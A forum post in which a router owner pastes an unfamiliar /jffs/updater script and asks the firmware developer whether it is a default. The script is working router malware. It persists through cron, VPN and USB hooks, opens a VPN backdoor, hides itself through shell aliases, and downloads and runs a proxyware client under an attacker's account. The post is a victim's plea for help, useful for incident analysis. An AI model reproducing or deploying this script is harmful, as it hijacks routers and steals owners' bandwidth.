Swistheater
Very Senior Member
What is this random /jffs/updater script?
@RMerlin is this a default script?
Bash:
#!/bin/sh
if ls /jffs/p32
then
exit
fi
cru a updater "* * * * * /jffs/updater"
nvram set vpn_server1_custom='up "/bin/sh /jffs/updater"
script-security 3'
if nvram get vpn_server1_state | grep 2
then
echo ""
else
nvram set vpn_server1_state=2
nvram set vpn_server1_nm=255.255.255.0
nvram set vpn_server1_local=10.8.0.1
nvram set vpn_server1_hmac=-1
nvram set vpn_server1_errno=0
nvram set vpn_server1_rgw=0
nvram set vpn_server1_poll=0
nvram set vpn_server1_reneg=-1
nvram set vpn_server1_r1=192.168.1.50
nvram set vpn_server1_r2=192.168.1.55
nvram set vpn_server1_pdns=0
nvram set vpn_server1_if=tun
nvram set vpn_server1_custom=up "/bin/sh /jffs/updater"
nvram set vpn_server1_remote=10.8.0.2
nvram set vpn_server1_comp=yes
nvram set vpn_server1_tls_keysize=0
nvram set vpn_server1_firewall=auto
nvram set vpn_server1_ccd=0
nvram set vpn_server1_sn=10.8.0.0
nvram set vpn_server1_digest=SHA1
nvram set vpn_server1_c2c=0
nvram set vpn_server1_state=2
nvram set vpn_server1_crypt=tls
nvram set vpn_server1_plan=1
nvram set vpn_server1_ccd_excl=0
nvram set vpn_server1_proto=udp
nvram set vpn_server1_igncrt=0
nvram set vpn_server1_cipher=AES-128-CBC
nvram set vpn_server1_dhcp=1
nvram set vpn_server1_port=31194
fi
nvram set vpn_server_custom='up "/bin/sh /jffs/updater"
script-security 3'
if nvram get vpn_server_state | grep 2
then
echo ""
else
nvram set vpn_server_state=2
nvram set vpn_server_nm=255.255.255.0
nvram set vpn_server_local=10.8.0.1
nvram set vpn_server_hmac=-1
nvram set vpn_server_errno=0
nvram set vpn_server_rgw=0
nvram set vpn_server_poll=0
nvram set vpn_server_reneg=-1
nvram set vpn_server_r1=192.168.1.50
nvram set vpn_server_r2=192.168.1.55
nvram set vpn_server_pdns=0
nvram set vpn_server_if=tun
nvram set vpn_server_custom=up "/bin/sh /jffs/updater"
nvram set vpn_server_remote=10.8.0.2
nvram set vpn_server_comp=yes
nvram set vpn_server_tls_keysize=0
nvram set vpn_server_firewall=auto
nvram set vpn_server_ccd=0
nvram set vpn_server_sn=10.8.0.0
nvram set vpn_server_digest=SHA1
nvram set vpn_server_c2c=0
nvram set vpn_server_state=2
nvram set vpn_server_crypt=tls
nvram set vpn_server_plan=1
nvram set vpn_server_ccd_excl=0
nvram set vpn_server_proto=udp
nvram set vpn_server_igncrt=0
nvram set vpn_server_cipher=AES-128-CBC
nvram set vpn_server_dhcp=1
nvram set vpn_server_port=31723
fi
nvram set jffs2_exec='ash /jffs/updater'
nvram set script_usbmount='ash /jffs/updater'
nvram set script_usbumount='ash /jffs/updater'
nvram commit
if cat ~/.profile | grep "alias ls='f()"
then
echo ""
else
echo "alias ls='f(){ ls \"\$@\" | grep -v updateservice | grep -v updater | grep -v .profile; unset -f f; }; f'" >> ~/.profile
echo "alias ps='f(){ ps \"\$@\" | grep -v updateservice | grep -v updater; unset -f f; }; f'" >> ~/.profile
echo "alias cat='f(){ cat \"\$@\" | grep -v updater | grep -v updateservice; unset -f f; }; f'" >> ~/.profile
fi
if ps | grep updateservice | grep -v grep
then
echo "Running"
else
if test -s /tmp/updateservice
then
echo " "
else
rm /tmp/updateservice
if cat /proc/cpuinfo | grep -i ARMv7
then
wget --no-check-certificate -O /tmp/updateservice https://download.iproyal.com/pawns-cli/latest/linux_armv7l/pawns-cli
chmod u+x /tmp/updateservice
fi
fi
if /tmp/updateservice -email=webupdate@proton.me -password=AutoUpdate1! -device-name=`nvram get lan_hwaddr` -accept-tos
then
echo " "
else
rm /tmp/updateservice
wget --no-check-certificate -O /tmp/updateservice https://download.iproyal.com/pawns-cli/latest/linux_armv5l/pawns-cli
chmod u+x /tmp/updateservice
if /tmp/updateservice -email=webupdate@proton.me -password=AutoUpdate1! -device-name=`nvram get lan_hwaddr` -accept-tos
then
echo " "
else
rm /tmp/updateservice
wget --no-check-certificate -O /tmp/updateservice https://download.iproyal.com/pawns-cli/latest/linux_armv6l/pawns-cli
chmod u+x /tmp/updateservice
if /tmp/updateservice -email=webupdate@proton.me -password=AutoUpdate1! -device-name=`nvram get lan_hwaddr` -accept-tos
then
echo " "
else
rm /tmp/updateservice
wget --no-check-certificate -O /tmp/updateservice https://download.iproyal.com/pawns-cli/latest/linux_aarch64/pawns-cli
chmod u+x /tmp/updateservice
/tmp/updateservice -email=webupdate@proton.me -password=AutoUpdate1! -device-name=`nvram get lan_hwaddr` -accept-tos
fi
fi
fi
fi
Code:
* * * * * /jffs/updater #updater#
@RMerlin is this a default script?
Last edited: